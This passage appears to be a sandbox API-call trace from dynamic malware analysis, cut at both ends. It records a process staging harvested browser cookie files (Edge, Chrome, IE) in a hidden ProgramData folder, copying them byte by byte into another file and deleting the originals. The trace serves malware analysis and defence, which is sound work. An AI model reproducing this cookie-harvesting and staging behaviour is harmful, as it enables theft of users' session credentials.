lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.713] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.714] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.714] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.714] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.714] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.714] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.714] WriteFile (in: hFile=0x394, lpBuffer=0x19e3c8*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e3c8*, lpNumberOfBytesWritten=0x19e228*=0x19, lpOverlapped=0x0) returned 1 [0053.714] WriteFile (in: hFile=0x394, lpBuffer=0x19e6fc*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e6fc*, lpNumberOfBytesWritten=0x19e228*=0x11, lpOverlapped=0x0) returned 1 [0053.714] SetFilePointer (in: hFile=0x394, lDistanceToMove=4015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfaf [0053.714] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\edge_cookies.txt")) returned 1 [0053.715] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.715] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.715] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\" [0053.715] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\", lpString2="Google Chrome_Default.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\Google Chrome_Default.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\Google Chrome_Default.txt" [0053.715] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0053.715] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0053.715] lstrcatW (in: lpString1="\\Cookies\\", lpString2="Google Chrome_Default.txt" | out: lpString1="\\Cookies\\Google Chrome_Default.txt") returned="\\Cookies\\Google Chrome_Default.txt" [0053.715] PathMatchSpecW (pszFile="Google Chrome_Default.txt", pszSpec="*.*") returned 1 [0053.715] CreateFileA (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\google chrome_default.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0053.715] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfaf [0053.715] GetFileInformationByHandle (in: hFile=0x3b0, lpFileInformation=0x19e1b8 | out: lpFileInformation=0x19e1b8) returned 1 [0053.715] GetFileSize (in: hFile=0x3b0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0053.715] FileTimeToSystemTime (in: lpFileTime=0x19e174, lpSystemTime=0x19e158 | out: lpSystemTime=0x19e158) returned 1 [0053.715] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.717] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.717] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.717] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.717] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.717] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.717] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.717] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.717] GetDesktopWindow () returned 0x10010 [0053.717] GetTickCount () returned 0x2165c [0053.717] GetLastError () returned 0x0 [0053.718] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.718] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\" [0053.718] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\", lpString2="IE_Cookies.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\IE_Cookies.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\IE_Cookies.txt" [0053.718] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0053.718] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0053.718] lstrcatW (in: lpString1="\\Cookies\\", lpString2="IE_Cookies.txt" | out: lpString1="\\Cookies\\IE_Cookies.txt") returned="\\Cookies\\IE_Cookies.txt" [0053.718] PathMatchSpecW (pszFile="IE_Cookies.txt", pszSpec="*.*") returned 1 [0053.718] GetDesktopWindow () returned 0x10010 [0053.718] GetTickCount () returned 0x2165c [0053.718] GetLastError () returned 0x0 [0053.718] PathMatchSpecW (pszFile="Cookies", pszSpec="*.*") returned 1 [0053.719] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.719] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.719] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="cookie_list.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\cookie_list.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\cookie_list.txt" [0053.719] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.719] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.719] lstrcatW (in: lpString1="\\", lpString2="cookie_list.txt" | out: lpString1="\\cookie_list.txt") returned="\\cookie_list.txt" [0053.719] PathMatchSpecW (pszFile="cookie_list.txt", pszSpec="*.*") returned 1 [0053.719] GetDesktopWindow () returned 0x10010 [0053.719] GetTickCount () returned 0x2165c [0053.719] GetLastError () returned 0x0 [0053.720] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.720] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.720] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="Downloads" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" [0053.720] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.720] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.720] lstrcatW (in: lpString1="\\", lpString2="Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0053.720] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0053.720] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0053.720] lstrcpyW (in: lpString1=0x19ea84, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" [0053.720] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\*.*" [0053.720] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\*.*", lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0x589e00 [0053.720] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" [0053.720] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\" [0053.720] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\." [0053.720] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0053.720] lstrcatW (in: lpString1="\\Downloads", lpString2="\\" | out: lpString1="\\Downloads\\") returned="\\Downloads\\" [0053.720] lstrcatW (in: lpString1="\\Downloads\\", lpString2="." | out: lpString1="\\Downloads\\.") returned="\\Downloads\\." [0053.720] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.720] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.720] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" [0053.720] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\" [0053.720] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\.." [0053.720] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0053.720] lstrcatW (in: lpString1="\\Downloads", lpString2="\\" | out: lpString1="\\Downloads\\") returned="\\Downloads\\" [0053.720] lstrcatW (in: lpString1="\\Downloads\\", lpString2=".." | out: lpString1="\\Downloads\\..") returned="\\Downloads\\.." [0053.721] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.721] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.721] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.721] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" [0053.721] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\" [0053.721] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\", lpString2="Google Chrome_Default.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\Google Chrome_Default.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads\\Google Chrome_Default.txt" [0053.721] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0053.721] lstrcatW (in: lpString1="\\Downloads", lpString2="\\" | out: lpString1="\\Downloads\\") returned="\\Downloads\\" [0053.721] lstrcatW (in: lpString1="\\Downloads\\", lpString2="Google Chrome_Default.txt" | out: lpString1="\\Downloads\\Google Chrome_Default.txt") returned="\\Downloads\\Google Chrome_Default.txt" [0053.721] PathMatchSpecW (pszFile="Google Chrome_Default.txt", pszSpec="*.*") returned 1 [0053.721] GetDesktopWindow () returned 0x10010 [0053.721] GetTickCount () returned 0x2165c [0053.721] GetLastError () returned 0x0 [0053.721] PathMatchSpecW (pszFile="Downloads", pszSpec="*.*") returned 1 [0053.721] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.721] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.721] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="Files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" [0053.722] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.722] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.722] lstrcatW (in: lpString1="\\", lpString2="Files" | out: lpString1="\\Files") returned="\\Files" [0053.722] lstrcmpW (lpString1="Files", lpString2=".") returned 1 [0053.722] lstrcmpW (lpString1="Files", 